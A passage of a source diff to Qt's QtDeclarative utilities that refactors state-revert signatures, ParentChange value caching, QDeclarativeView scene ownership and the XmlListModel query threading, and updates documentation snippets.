-    bool containsPropertyInRevertList(QObject *target, const QByteArray &name) const;
-    bool changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue);
-    bool changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding);
-    bool removeEntryFromRevertList(QObject *target, const QByteArray &name);
+    bool containsPropertyInRevertList(QObject *target, const QString &name) const;
+    bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue);
+    bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding);
+    bool removeEntryFromRevertList(QObject *target, const QString &name);
     void addEntryToRevertList(const QDeclarativeAction &action);
     void removeAllEntriesFromRevertList(QObject *target);
     void addEntriesToRevertList(const QList<QDeclarativeAction> &actions);
-    QVariant valueInRevertList(QObject *target, const QByteArray &name) const;
-    QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QByteArray &name) const;
+    QVariant valueInRevertList(QObject *target, const QString &name) const;
+    QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const;
 
     bool isStateActive() const;
 
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
index 7aeea12..f1d0997 100644
--- a/src/declarative/util/qdeclarativestategroup.cpp
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -102,10 +102,10 @@ public:
            id: myStateGroup
            states: State {
                name: "state1"
-               ...
+               // ...
            }
            transitions: Transition {
-               ...
+               // ...
            }
        }
 
@@ -140,11 +140,15 @@ QList<QDeclarativeState *> QDeclarativeStateGroup::states() const
 
   \qml
   StateGroup {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // State definition...
+          },
+          State {
+              // ...
+          }
+          // Other states...
+      ]
   }
   \endqml
 
@@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty<QDecla
 
   \qml
   StateGroup {
-    transitions: [
-      Transition { ... },
-      Transition { ... }
-      ...
-    ]
+      transitions: [
+          Transition {
+            // ...
+          },
+          Transition {
+            // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -221,14 +229,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeStateGroup::transit
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the state group is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return a
diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
index 346a374..9aca71f 100644
--- a/src/declarative/util/qdeclarativestateoperations.cpp
+++ b/src/declarative/util/qdeclarativestateoperations.cpp
@@ -83,6 +83,13 @@ public:
     QDeclarativeNullableValue<QDeclarativeScriptString> scaleString;
     QDeclarativeNullableValue<QDeclarativeScriptString> rotationString;
 
+    QDeclarativeNullableValue<qreal> x;
+    QDeclarativeNullableValue<qreal> y;
+    QDeclarativeNullableValue<qreal> width;
+    QDeclarativeNullableValue<qreal> height;
+    QDeclarativeNullableValue<qreal> scale;
+    QDeclarativeNullableValue<qreal> rotation;
+
     void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0);
 };
 
@@ -213,10 +220,21 @@ QDeclarativeScriptString QDeclarativeParentChange::x() const
     return d->xString.value;
 }
 
+void tryReal(QDeclarativeNullableValue<qreal> &value, const QString &string)
+{
+    bool ok = false;
+    qreal realValue = string.toFloat(&ok);
+    if (ok)
+        value = realValue;
+    else
+        value.invalidate();
+}
+
 void QDeclarativeParentChange::setX(QDeclarativeScriptString x)
 {
     Q_D(QDeclarativeParentChange);
     d->xString = x;
+    tryReal(d->x, x.script());
 }
 
 bool QDeclarativeParentChange::xIsSet() const
@@ -235,6 +253,7 @@ void QDeclarativeParentChange::setY(QDeclarativeScriptString y)
 {
     Q_D(QDeclarativeParentChange);
     d->yString = y;
+    tryReal(d->y, y.script());
 }
 
 bool QDeclarativeParentChange::yIsSet() const
@@ -253,6 +272,7 @@ void QDeclarativeParentChange::setWidth(QDeclarativeScriptString width)
 {
     Q_D(QDeclarativeParentChange);
     d->widthString = width;
+    tryReal(d->width, width.script());
 }
 
 bool QDeclarativeParentChange::widthIsSet() const
@@ -271,6 +291,7 @@ void QDeclarativeParentChange::setHeight(QDeclarativeScriptString height)
 {
     Q_D(QDeclarativeParentChange);
     d->heightString = height;
+    tryReal(d->height, height.script());
 }
 
 bool QDeclarativeParentChange::heightIsSet() const
@@ -289,6 +310,7 @@ void QDeclarativeParentChange::setScale(QDeclarativeScriptString scale)
 {
     Q_D(QDeclarativeParentChange);
     d->scaleString = scale;
+    tryReal(d->scale, scale.script());
 }
 
 bool QDeclarativeParentChange::scaleIsSet() const
@@ -307,6 +329,7 @@ void QDeclarativeParentChange::setRotation(QDeclarativeScriptString rotation)
 {
     Q_D(QDeclarativeParentChange);
     d->rotationString = rotation;
+    tryReal(d->rotation, rotation.script());
 }
 
 bool QDeclarativeParentChange::rotationIsSet() const
@@ -367,16 +390,15 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     a.event = this;
     actions << a;
 
+    QDeclarativeContext *ctxt = qmlContext(this);
+
     if (d->xString.isValid()) {
-        bool ok = false;
-        QString script = d->xString.value.script();
-        qreal x = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction xa(d->target, QLatin1String("x"), x);
+        if (d->x.isValid()) {
+            QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, d->x.value);
             actions << xa;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt));
             QDeclarativeAction xa;
             xa.property = newBinding->property();
             xa.toBinding = newBinding;
@@ -387,15 +409,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     }
 
     if (d->yString.isValid()) {
-        bool ok = false;
-        QString script = d->yString.value.script();
-        qreal y = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction ya(d->target, QLatin1String("y"), y);
+        if (d->y.isValid()) {
+            QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, d->y.value);
             actions << ya;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt));
             QDeclarativeAction ya;
             ya.property = newBinding->property();
             ya.toBinding = newBinding;
@@ -406,15 +425,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     }
 
     if (d->scaleString.isValid()) {
-        bool ok = false;
-        QString script = d->scaleString.value.script();
-        qreal scale = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction sa(d->target, QLatin1String("scale"), scale);
+        if (d->scale.isValid()) {
+            QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, d->scale.value);
             actions << sa;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt));
             QDeclarativeAction sa;
             sa.property = newBinding->property();
             sa.toBinding = newBinding;
@@ -425,15 +441,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     }
 
     if (d->rotationString.isValid()) {
-        bool ok = false;
-        QString script = d->rotationString.value.script();
-        qreal rotation = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction ra(d->target, QLatin1String("rotation"), rotation);
+        if (d->rotation.isValid()) {
+            QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value);
             actions << ra;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt));
             QDeclarativeAction ra;
             ra.property = newBinding->property();
             ra.toBinding = newBinding;
@@ -444,15 +457,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     }
 
     if (d->widthString.isValid()) {
-        bool ok = false;
-        QString script = d->widthString.value.script();
-        qreal width = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction wa(d->target, QLatin1String("width"), width);
+        if (d->width.isValid()) {
+            QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, d->width.value);
             actions << wa;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt));
             QDeclarativeAction wa;
             wa.property = newBinding->property();
             wa.toBinding = newBinding;
@@ -463,15 +473,12 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
     }
 
     if (d->heightString.isValid()) {
-        bool ok = false;
-        QString script = d->heightString.value.script();
-        qreal height = script.toFloat(&ok);
-        if (ok) {
-            QDeclarativeAction ha(d->target, QLatin1String("height"), height);
+        if (d->height.isValid()) {
+            QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, d->height.value);
             actions << ha;
         } else {
-            QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this));
-            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height")));
+            QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt);
+            newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt));
             QDeclarativeAction ha;
             ha.property = newBinding->property();
             ha.toBinding = newBinding;
@@ -599,25 +606,7 @@ public:
     ScriptAction to specify the point in the transition at which
     the StateChangeScript should to be run.
 
-    \qml
-    State {
-        name "state1"
-        StateChangeScript {
-            name: "myScript"
-            script: doStateStuff();
-        }
-        ...
-    }
-    ...
-    Transition {
-        to: "state1"
-        SequentialAnimation {
-            NumberAnimation { ... }
-            ScriptAction { scriptName: "myScript" }
-            NumberAnimation { ... }
-        }
-    }
-    \endqml
+    \snippet snippets/declarative/states/statechangescript.qml state and transition
 
     \sa ScriptAction
 */
@@ -652,7 +641,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
     This property holds the name of the script. This name can be used by a
     ScriptAction to target a specific script.
 
-    \sa ScriptAction::stateChangeScriptName
+    \sa ScriptAction::scriptName
 */
 QString QDeclarativeStateChangeScript::name() const
 {
@@ -1075,32 +1064,34 @@ QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions()
     d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter"));
     d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline"));
 
+    QDeclarativeContext *ctxt = qmlContext(this);
+
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::LeftAnchor) {
-        d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, qmlContext(this));
+        d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt);
         d->leftBinding->setTarget(d->leftProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::RightAnchor) {
-        d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, qmlContext(this));
+        d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt);
         d->rightBinding->setTarget(d->rightProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
-        d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, qmlContext(this));
+        d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt);
         d->hCenterBinding->setTarget(d->hCenterProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::TopAnchor) {
-        d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, qmlContext(this));
+        d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt);
         d->topBinding->setTarget(d->topProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BottomAnchor) {
-        d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, qmlContext(this));
+        d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt);
         d->bottomBinding->setTarget(d->bottomProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
-        d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, qmlContext(this));
+        d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt);
         d->vCenterBinding->setTarget(d->vCenterProp);
     }
     if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BaselineAnchor) {
-        d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, qmlContext(this));
+        d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt);
         d->baselineBinding->setTarget(d->baselineProp);
     }
 
@@ -1380,24 +1371,25 @@ QList<QDeclarativeAction> QDeclarativeAnchorChanges::additionalActions()
     bool vChange = combined & QDeclarativeAnchors::Vertical_Mask;
 
     if (d->target) {
+        QDeclarativeContext *ctxt = qmlContext(this);
         QDeclarativeAction a;
         if (hChange && d->fromX != d->toX) {
-            a.property = QDeclarativeProperty(d->target, QLatin1String("x"));
+            a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt);
             a.toValue = d->toX;
             extra << a;
         }
         if (vChange && d->fromY != d->toY) {
-            a.property = QDeclarativeProperty(d->target, QLatin1String("y"));
+            a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt);
             a.toValue = d->toY;
             extra << a;
         }
         if (hChange && d->fromWidth != d->toWidth) {
-            a.property = QDeclarativeProperty(d->target, QLatin1String("width"));
+            a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt);
             a.toValue = d->toWidth;
             extra << a;
         }
         if (vChange && d->fromHeight != d->toHeight) {
-            a.property = QDeclarativeProperty(d->target, QLatin1String("height"));
+            a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt);
             a.toValue = d->toHeight;
             extra << a;
         }
diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp
index e533a07..063ec3e 100644
--- a/src/declarative/util/qdeclarativetransition.cpp
+++ b/src/declarative/util/qdeclarativetransition.cpp
@@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE
 
     To define multiple transitions, specify \l Item::transitions as a list:
 
-    \qml
-    Item {
-        ...
-        transitions: [
-            Transition { to: "state1" ... },
-            Transition { ... }
-        ]
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions
 
     If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular
     state change. In the example above, when changing to \c state1, the first transition will be used, rather
@@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act
 
     If the transition was changed to this:
 
-    \qml
-        transitions: Transition { 
-            to: "brighter"
-            ColorAnimation { duration: 1000 }
-        }
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition
 
     The animation would only be applied when changing from the default state to
     the "brighter" state (i.e. when the mouse is pressed, but not on release).
@@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t)
 
     This property holds a list of the animations to be run for this transition.
 
-    \qml
-    Transition {
-        PropertyAnimation { ... }
-        NumberAnimation { ... }
-    }
-    \endqml
+    \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions
 
     The top-level animations are run in parallel. To run them sequentially,
     define them within a SequentialAnimation:
 
-    \qml
-    Transition {
-        SequentialAnimation {
-            PropertyAnimation { ... }
-            NumberAnimation { ... }
-        }
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations
 */
 QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeTransition::animations()
 {
diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp
index 0544f22..f32f390 100644
--- a/src/declarative/util/qdeclarativeutilmodule.cpp
+++ b/src/declarative/util/qdeclarativeutilmodule.cpp
@@ -66,6 +66,7 @@
 #include "private/qdeclarativetimer_p.h"
 #include "private/qdeclarativetransitionmanager_p_p.h"
 #include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativeapplication_p.h"
 #include "qdeclarativeview.h"
 #include "qdeclarativeinfo.h"
 #include "private/qdeclarativetypenotavailable_p.h"
@@ -75,6 +76,8 @@
 
 void QDeclarativeUtilModule::defineModule()
 {
+    qmlRegisterUncreatableType<QDeclarativeApplication>("QtQuick",1,1,"Application", QDeclarativeApplication::tr("Application is an abstract class"));
+
     qmlRegisterType<QDeclarativeAnchorAnimation>("QtQuick",1,0,"AnchorAnimation");
     qmlRegisterType<QDeclarativeAnchorChanges>("QtQuick",1,0,"AnchorChanges");
     qmlRegisterType<QDeclarativeBehavior>("QtQuick",1,0,"Behavior");
diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp
index 20028eb..99c29d5 100644
--- a/src/declarative/util/qdeclarativeview.cpp
+++ b/src/declarative/util/qdeclarativeview.cpp
@@ -77,7 +77,7 @@ extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled;
 class QDeclarativeScene : public QGraphicsScene
 {
 public:
-    QDeclarativeScene();
+    QDeclarativeScene(QObject *parent = 0);
 
 protected:
     virtual void keyPressEvent(QKeyEvent *);
@@ -88,7 +88,7 @@ protected:
     virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
 };
 
-QDeclarativeScene::QDeclarativeScene()
+QDeclarativeScene::QDeclarativeScene(QObject *parent) : QGraphicsScene(parent)
 {
 }
 
@@ -132,7 +132,8 @@ class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarative
     Q_DECLARE_PUBLIC(QDeclarativeView)
 public:
     QDeclarativeViewPrivate()
-        : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {}
+        : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0),
+          resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {}
     ~QDeclarativeViewPrivate() { delete root; delete engine; }
     void execute();
     void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
@@ -155,8 +156,6 @@ public:
     QElapsedTimer frameTimer;
 
     void init();
-
-    QDeclarativeScene scene;
 };
 
 void QDeclarativeViewPrivate::execute()
@@ -234,6 +233,9 @@ void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem,
     you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error.
     The errors are available via QDeclarativeView::errors().
 
+    If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to
+    enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex.
+
     \sa {Integrating QML with existing Qt UI code}, {Using QML in C++ Applications}
 */
 
@@ -277,7 +279,7 @@ void QDeclarativeViewPrivate::init()
 {
     Q_Q(QDeclarativeView);
     engine = new QDeclarativeEngine();
-    q->setScene(&scene);
+    q->setScene(new QDeclarativeScene(q));
 
     q->setOptimizationFlags(QGraphicsView::DontSavePainterState);
     q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
@@ -286,11 +288,11 @@ void QDeclarativeViewPrivate::init()
 
     // These seem to give the best performance
     q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate);
-    scene.setItemIndexMethod(QGraphicsScene::NoIndex);
+    q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex);
     q->viewport()->setFocusPolicy(Qt::NoFocus);
     q->setFocusPolicy(Qt::StrongFocus);
 
-    scene.setStickyFocus(true);  //### needed for correct focus handling
+    q->scene()->setStickyFocus(true);  //### needed for correct focus handling
 }
 
 /*!
@@ -557,14 +559,14 @@ void QDeclarativeView::continueExecute()
 void QDeclarativeView::setRootObject(QObject *obj)
 {
     Q_D(QDeclarativeView);
-    if (d->root == obj)
+    if (d->root == obj || !scene())
         return;
     if (QDeclarativeItem *declarativeItem = qobject_cast<QDeclarativeItem *>(obj)) {
-        d->scene.addItem(declarativeItem);
+        scene()->addItem(declarativeItem);
         d->root = declarativeItem;
         d->declarativeItemRoot = declarativeItem;
     } else if (QGraphicsObject *graphicsObject = qobject_cast<QGraphicsObject *>(obj)) {
-        d->scene.addItem(graphicsObject);
+        scene()->addItem(graphicsObject);
         d->root = graphicsObject;
         if (graphicsObject->isWidget()) {
             d->graphicsWidgetRoot = static_cast<QGraphicsWidget*>(graphicsObject);
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 8053a5e..d5c7d1b 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -46,11 +46,9 @@
 
 #include <QDebug>
 #include <QStringList>
-#include <QQueue>
+#include <QMap>
 #include <QApplication>
 #include <QThread>
-#include <QMutex>
-#include <QWaitCondition>
 #include <QXmlQuery>
 #include <QXmlResultItems>
 #include <QXmlNodeModelIndex>
@@ -58,6 +56,7 @@
 #include <QNetworkRequest>
 #include <QNetworkReply>
 #include <QTimer>
+#include <QMutex>
 
 #include <private/qobject_p.h>
 
@@ -90,10 +89,15 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
     \qml
     XmlListModel {
         id: xmlModel
-        ...
-        XmlRole { name: "title"; query: "title/string()" }
+        // ...
+        XmlRole {
+            name: "title"
+            query: "title/string()"
+        }
     }
+    \endqml
 
+    \qml
     ListView {
         model: xmlModel
         delegate: Text { text: title }
@@ -142,39 +146,32 @@ struct XmlQueryJob
     QStringList keyRoleResultsCache;
 };
 
-class QDeclarativeXmlQuery : public QThread
+class QDeclarativeXmlQuery : public QObject
 {
     Q_OBJECT
 public:
     QDeclarativeXmlQuery(QObject *parent=0)
-        : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) {
+        : QObject(parent), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) {
         qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
-        m_currentJob.queryId = -1;
+        moveToThread(&m_thread);
+        m_thread.start(QThread::IdlePriority);
     }
 
     ~QDeclarativeXmlQuery() {
-        m_mutex.lock();
-        m_quit = true;
-        m_condition.wakeOne();
-        m_mutex.unlock();
-
-        wait();
+        if(m_thread.isRunning()) {
+            m_thread.quit();
+            m_thread.wait();
+        }
     }
 
     void abort(int id) {
-        QMutexLocker locker(&m_mutex);
-        QQueue<XmlQueryJob>::iterator it;
-        for (it = m_jobs.begin(); it != m_jobs.end(); ++it) {
-            if ((*it).queryId == id) {
-                m_jobs.erase(it);
-                return;
-            }
+        QMutexLocker ml(&m_mutex);
+        if (id != -1) {
+            m_jobs.remove(id);
         }
-        m_abortQueryId = id;
     }
 
-    int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects, QStringList keyRoleResultsCache) {
-        QMutexLocker locker(&m_mutex);
+    int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache) {
 
         XmlQueryJob job;
         job.queryId = m_queryIds;
@@ -193,69 +190,69 @@ public:
             if (roleObjects->at(i)->isKey())
                 job.keyRoleQueries << job.roleQueries.last();
         }
-        m_jobs.enqueue(job);
-        m_queryIds++;
 
-        if (!isRunning())
-            start(QThread::IdlePriority);
-        else
-            m_condition.wakeOne();
+        {
+            QMutexLocker ml(&m_mutex);
+            m_jobs.insert(m_queryIds, job);
+            m_queryIds++;
+            if (m_queryIds <= 0)
+              m_queryIds = 1;
+        }
+
+        QMetaObject::invokeMethod(this, "processQuery", Qt::QueuedConnection, Q_ARG(int, job.queryId));
         return job.queryId;
     }
 
+private slots:
+    void processQuery(int queryId) {
+        XmlQueryJob job;
+
+        {
+            QMutexLocker ml(&m_mutex);
+            if (!m_jobs.contains(queryId))
+                return;
+            job = m_jobs.value(queryId);
+        }
+
+        QDeclarativeXmlQueryResult r;
+        doQueryJob(&job);
+        doSubQueryJob(&job);
+        r.queryId = job.queryId;
+        r.size = m_size;
+        r.data = m_modelData;
+        r.inserted = m_insertedItemRanges;
+        r.removed = m_removedItemRanges;
+        r.keyRoleResultsCache = job.keyRoleResultsCache;
+
+        {
+            QMutexLocker ml(&m_mutex);
+            if (m_jobs.contains(queryId)) {
+                emit queryCompleted(r);
+                m_jobs.remove(queryId);
+            }
+        }
+    }
+
 Q_SIGNALS:
     void queryCompleted(const QDeclarativeXmlQueryResult &);
     void error(void*, const QString&);
 
 protected:
-    void run() {
-        m_mutex.lock();
-
-        while (!m_quit) {
-            if (!m_jobs.isEmpty())
-                m_currentJob = m_jobs.dequeue();
-            m_mutex.unlock();
-
-            QDeclarativeXmlQueryResult r;
-            if (m_currentJob.queryId != -1) {
-                doQueryJob();
-                doSubQueryJob();
-                r.queryId = m_currentJob.queryId;
-                r.size = m_size;
-                r.data = m_modelData;
-                r.inserted = m_insertedItemRanges;
-                r.removed = m_removedItemRanges;
-                r.keyRoleResultsCache = m_currentJob.keyRoleResultsCache;
-            }
-
-            m_mutex.lock();
-            if (m_currentJob.queryId != -1 && m_abortQueryId != m_currentJob.queryId)
-                emit queryCompleted(r);
-            if (m_jobs.isEmpty() && !m_quit)
-                m_condition.wait(&m_mutex);
-            m_currentJob.queryId = -1;
-            m_abortQueryId = -1;
-        }
 
-        m_mutex.unlock();
-    }
 
 private:
-    void doQueryJob();
-    void doSubQueryJob();
-    void getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const;
+    void doQueryJob(XmlQueryJob* job);
+    void doSubQueryJob(XmlQueryJob* job);
+    void getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const;
     void addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const;
 
 private:
     QMutex m_mutex;
-    QWaitCondition m_condition;
-    QQueue<XmlQueryJob> m_jobs;
-    XmlQueryJob m_currentJob;
-    bool m_quit;
-    int m_abortQueryId;
+    QThread m_thread;
+    QMap<int, XmlQueryJob> m_jobs;
+    int m_queryIds;
     QString m_prefix;
     int m_size;
-    int m_queryIds;
     QList<QList<QVariant> > m_modelData;
     QList<QDeclarativeXmlListRange> m_insertedItemRanges;
     QList<QDeclarativeXmlListRange> m_removedItemRanges;
@@ -263,16 +260,16 @@ private:
 
 Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery)
 
-void QDeclarativeXmlQuery::doQueryJob()
+void QDeclarativeXmlQuery::doQueryJob(XmlQueryJob* currentJob)
 {
-    Q_ASSERT(m_currentJob.queryId != -1);
+    Q_ASSERT(currentJob->queryId != -1);
 
     QString r;
     QXmlQuery query;
-    QBuffer buffer(&m_currentJob.data);
+    QBuffer buffer(&currentJob->data);
     buffer.open(QIODevice::ReadOnly);
     query.bindVariable(QLatin1String("src"), &buffer);
-    query.setQuery(m_currentJob.namespaces + m_currentJob.query);
+    query.setQuery(currentJob->namespaces + currentJob->query);
     query.evaluateTo(&r);
 
     //always need a single root element
@@ -280,9 +277,9 @@ void QDeclarativeXmlQuery::doQueryJob()
     QBuffer b(&xml);
     b.open(QIODevice::ReadOnly);
 
-    QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_currentJob.namespaces;
+    QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + currentJob->namespaces;
     QString prefix = QLatin1String("doc($inputDocument)/dummy:items") +
-                     m_currentJob.query.mid(m_currentJob.query.lastIndexOf(QLatin1Char('/')));
+                     currentJob->query.mid(currentJob->query.lastIndexOf(QLatin1Char('/')));
 
     //figure out how many items we are dealing with
     int count = -1;
@@ -297,18 +294,16 @@ void QDeclarativeXmlQuery::doQueryJob()
             count = item.toAtomicValue().toInt();
     }
 
-    m_currentJob.data = xml;
+    currentJob->data = xml;
     m_prefix = namespaces + prefix + QLatin1Char('/');
     m_size = 0;
     if (count > 0)
         m_size = count;
 }
 
